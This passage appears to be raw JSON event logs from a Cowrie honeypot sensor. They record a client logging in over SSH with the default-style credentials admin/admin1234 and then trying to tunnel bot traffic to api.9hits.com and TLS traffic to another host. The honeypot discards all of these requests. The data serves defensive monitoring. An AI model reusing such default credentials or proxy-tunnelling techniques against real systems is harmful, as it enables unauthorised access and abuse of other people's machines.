HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/609.4.1 (KHTML, like Gecko) Version/9.1.2 Safari/609.4.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UyUhez5YM0VBNCljTlMjSw%3D%3DqiA1qMQ9MrqcHregiJvPz6Hs8CTGcPtmrI1wGXlgV7bTuU4gDqbFSsxVu4fRyiQ29PQLkwizqoegsJ8Ru5eNOhX9om0RNtCXQHLIeLgFTkw5tcGCJtTn1%2FUFvn2gWcA8QL0YK0RPjbrAj7eL0N%2F9UdfZtq7nNbTi8DMF%2BPgDKDq%2BExvEApLPRP%2FLYPnm0lEs19cNC1nPg43l4zoivvm22Vxd1dJjmLltEzqRnv5oNOw5UCB7S%2BOzpeYtoz8ut3DsUoVs0y5D%2FOaPVazrfrPKUJYUbqbQakKHw6zwLDs1%2BPjlE6C2yJSJnB9WHVSXaqpI6cdtoomhNDG6W6HZfcKovoOhIJnRvtslREWoOiLTORqFtYsAymoMK0oYpeUZiU7zmWXxdxx0aprMe%2FjhShWmNuIlpjEtb8UotYljClxWgCTQ9uJAVK8djvT93jAIks2Xs5XPEyt8mBk%2B2PWIVWGVvl4UWOrgCRUrTjQdakk%2B3hS%2FluTYm1qwk98w0qjI6o172vfH70mTkUM10EweVtdk2rQQk7lE%2Bz8iO1a6cDHPha01YytPUX%2BTJWJ1dalfB36QLTumotoJ5ozaWWpVBMHd%2FD3nelciU7bJg5dMOKhK5nlm6vFaez5071N52LqgW734x8GdzPyNi0OncXrWEJHTiSUvfzXH6Abra9lmm0tbw3GMftdm3THdIwLbDoetdYk3UxrenpktOPg7W4m3TdO33I30VgZhPSgrREWTZPND%2B7uGH4uL%2F%2Faw79rQ9F3faYBxA3tczL7Ie4iamy99INjCIWH0oHf4dAZXNxK8d0peLpgZRjt3MPb2%2FMAzOs4fVOlgAxWrYy%2FeF%2BbNrwfLJFw5oeKfhO5EA06DB%2FByOPXP0G9ldTQxWFlCDl7iA40cinNEA%2FyBE5Wj1HrVY9OGV8oC4zJNjxAGqdTHY2oebsf2%2Bm1kcVOTNyDwE2Oc8ZAnHuRDwLSo8qeeMKjIsVjl5I8lp%2FQ8KtY1NPCNofunqrkX2HG3HMLK9VYEC9MT3184pgiZVBdUeQL3keDJH0n8M3qUaAHXpY7B2k6mXj8ikpXC9KeZy6r7c6mD2Vhzv65KnlIL'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.822972Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.873912Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v\\xa9\\xef\\xaei\\xeb\\xe1\\xde\\xf4\\xe9\\x9e\\xc2<\\x0e<\\x00\\x05#/\\x99\\x0es\\x91\\x0b\\xe0\\x9d\\xa8H\\xe4*\\x1eH \\x88\\xb7{}\\xb7n\\x97\\x8d\\xcd\\xc5\\xef\\xa9\\x9f\\xff\\xa5\\xe3?^\\x15\\xfc\\xeaO\\x1bc}\\tkrl\\x16\\xfb\\x1e\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\x961\\xe3\\xf9}\\xf2w\\xf6\\x13\\xdb\\xca\\xa1\\xd3\\x01\\x8c\\x8c\\xca\\t\\xc2P$s\\xd75\\x94\\xf6\\x1fX\\x8d<\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v\\xa9\\xef\\xaei\\xeb\\xe1\\xde\\xf4\\xe9\\x9e\\xc2<\\x0e<\\x00\\x05#/\\x99\\x0es\\x91\\x0b\\xe0\\x9d\\xa8H\\xe4*\\x1eH \\x88\\xb7{}\\xb7n\\x97\\x8d\\xcd\\xc5\\xef\\xa9\\x9f\\xff\\xa5\\xe3?^\\x15\\xfc\\xeaO\\x1bc}\\tkrl\\x16\\xfb\\x1e\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\x961\\xe3\\xf9}\\xf2w\\xf6\\x13\\xdb\\xca\\xa1\\xd3\\x01\\x8c\\x8c\\xca\\t\\xc2P$s\\xd75\\x94\\xf6\\x1fX\\x8d<\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.876933Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.948071Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:52.078502Z","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:52.136744Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03h3\\x0fq\\xf2\\t\\xac\\x89\\x85\\x9f\\x13b\\xde\\xb6\\xb5\\x01\\xb8\\xa9\\xeb/\\xb0\\x97\\x91\\x0e\\x10\\x10^y_\\x16\\xdc\\xc3 \\x82\\xbc\\x0c\\x8f;\\x8d7\\x11\\x03s\\x1bM\\x9d\\xc5\\xcd\\xb9%\\x88\\xf4\\x8b\\xde#fy\\x8a\\xe6\\x92(\\xaa\\x08\"&\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\xfe\\x9a\\x0e\\x0f\\xfd.\\xf1*\\xa7\\x98/\\xf9\\xaa\\xcf\\x0c\\xda\\x1f\\tQ\\xab\\\\~2X\\xff\\x18<\\xeeJ\\xfau\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03h3\\x0fq\\xf2\\t\\xac\\x89\\x85\\x9f\\x13b\\xde\\xb6\\xb5\\x01\\xb8\\xa9\\xeb/\\xb0\\x97\\x91\\x0e\\x10\\x10^y_\\x16\\xdc\\xc3 \\x82\\xbc\\x0c\\x8f;\\x8d7\\x11\\x03s\\x1bM\\x9d\\xc5\\xcd\\xb9%\\x88\\xf4\\x8b\\xde#fy\\x8a\\xe6\\x92(\\xaa\\x08\"&\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\xfe\\x9a\\x0e\\x0f\\xfd.\\xf1*\\xa7\\x98/\\xf9\\xaa\\xcf\\x0c\\xda\\x1f\\tQ\\xab\\\\~2X\\xff\\x18<\\xeeJ\\xfau\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:52.139663Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:54.273701Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49500,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c33c4c8140","protocol":"telnet","message":"New connection: 172.81.62.90:49500 (159.203.135.109:23) [session: c3c33c4c8140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:54.478061Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:56.895127Z","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.057907Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.4193.146 Safari/537.36 OPR/54.0.3957.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QEpoM0A8PjgzaDNWTHt7Mw%3D%3DrnJdeqjjNnsYG6MN2haMC6VuGjE7bwca0t0eyjogbRj4Kjghyn9I0g1lyXRTUkI4eMoJIJRob7gV5wbNlfuNoIfR%2FA4ht8JdUrFt2PWTkwyE8zF5oBqkwD4GjrnlPSwsdeYi55gt7IbQgelQDQlnNMYoTPORF2tZygy29ziP0ZXV%2BkU%2BVYdg7rtJgMmij2kj9Y3ihXdB%2Fb92KGI8mL53xo8EUWl%2FgJGe80l7r6VycpHdAhYla7i0mGFKmUkng7jXN7xOjzLpfx6GyRRzE3cUoHt7Wwu2CCDy6g7DNTzdcSA5S4Q1743n3kwdh45cabCEilhQks2PBT%2BFiUNPB7m6RJ7CyUUkY%2FJAvSUCDZ2g2dbe9FXZ84jZspjglmXcYSEUhp2zutPzqDJWeOMcqpAXdaMfwV%2BaqkxhYRQF9qYBhUlGozXqIwGmkXQbbS43tCRfx2I%2BEYY0OeJjBOe7NB6Z%2Ft1bgj8cvkQPC2B%2BgFhyoPBZ9MbBgDKFkEbgR7MohFBEY1C951Xu1SlE1a1Hx5tPFDPQXJWyFmTqRdeJVNbLVWstFngwLLwvmxGRmQWTBvVOAVZ6n%2F%2BmXLckNSnl30bz5A1ZzXPNTUcatEoyh69c%2BMvlcnPnOXyBYu%2B8ds6%2BJ3cGJku6gPeTupqYZxj1TKF1oQz9bLLGU%2BesdKYBNwlpHCMARFvJlWWqNOza8guIiQhYKb3YuEdm5woDHFgJpDRhXD52PB0uOMcJuuGqHQve8n%2BU4QnOvBVICVPedWWTW9yzH2LjZlg3zwdxK%2BMAJhyW66K86Q2AZ18O3s6MyLWyYFI8mBxoqXXxVSHsEwYcUHu5M57JWAwyMOVKOGShm4SKbvVzVeKGwd%2F6fJLGfO%2B5VRceT15qK9YHjQ51rgX3R1QDsivyOm5cEOhNClZJefY6lUCVy5q%2FIlvmWt8apJfSGxFg%2FR8dH1monhXO7Y79%2FipSbjdI147fQu4AmZi%2BYif%2BZ0sYGAP6eIv3wWy63goTCaNhnAwFCIaa42fhj6kksLqZ9jpgcEm4hg6eR56AUvh9Ziy2pWJ1iDE1Pk7oHTRTaFE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.4193.146 Safari/537.36 OPR/54.0.3957.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QEpoM0A8PjgzaDNWTHt7Mw%3D%3DrnJdeqjjNnsYG6MN2haMC6VuGjE7bwca0t0eyjogbRj4Kjghyn9I0g1lyXRTUkI4eMoJIJRob7gV5wbNlfuNoIfR%2FA4ht8JdUrFt2PWTkwyE8zF5oBqkwD4GjrnlPSwsdeYi55gt7IbQgelQDQlnNMYoTPORF2tZygy29ziP0ZXV%2BkU%2BVYdg7rtJgMmij2kj9Y3ihXdB%2Fb92KGI8mL53xo8EUWl%2FgJGe80l7r6VycpHdAhYla7i0mGFKmUkng7jXN7xOjzLpfx6GyRRzE3cUoHt7Wwu2CCDy6g7DNTzdcSA5S4Q1743n3kwdh45cabCEilhQks2PBT%2BFiUNPB7m6RJ7CyUUkY%2FJAvSUCDZ2g2dbe9FXZ84jZspjglmXcYSEUhp2zutPzqDJWeOMcqpAXdaMfwV%2BaqkxhYRQF9qYBhUlGozXqIwGmkXQbbS43tCRfx2I%2BEYY0OeJjBOe7NB6Z%2Ft1bgj8cvkQPC2B%2BgFhyoPBZ9MbBgDKFkEbgR7MohFBEY1C951Xu1SlE1a1Hx5tPFDPQXJWyFmTqRdeJVNbLVWstFngwLLwvmxGRmQWTBvVOAVZ6n%2F%2BmXLckNSnl30bz5A1ZzXPNTUcatEoyh69c%2BMvlcnPnOXyBYu%2B8ds6%2BJ3cGJku6gPeTupqYZxj1TKF1oQz9bLLGU%2BesdKYBNwlpHCMARFvJlWWqNOza8guIiQhYKb3YuEdm5woDHFgJpDRhXD52PB0uOMcJuuGqHQve8n%2BU4QnOvBVICVPedWWTW9yzH2LjZlg3zwdxK%2BMAJhyW66K86Q2AZ18O3s6MyLWyYFI8mBxoqXXxVSHsEwYcUHu5M57JWAwyMOVKOGShm4SKbvVzVeKGwd%2F6fJLGfO%2B5VRceT15qK9YHjQ51rgX3R1QDsivyOm5cEOhNClZJefY6lUCVy5q%2FIlvmWt8apJfSGxFg%2FR8dH1monhXO7Y79%2FipSbjdI147fQu4AmZi%2BYif%2BZ0sYGAP6eIv3wWy63goTCaNhnAwFCIaa42fhj6kksLqZ9jpgcEm4hg6eR56AUvh9Ziy2pWJ1iDE1Pk7oHTRTaFE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.063105Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.515261Z","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.597397Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
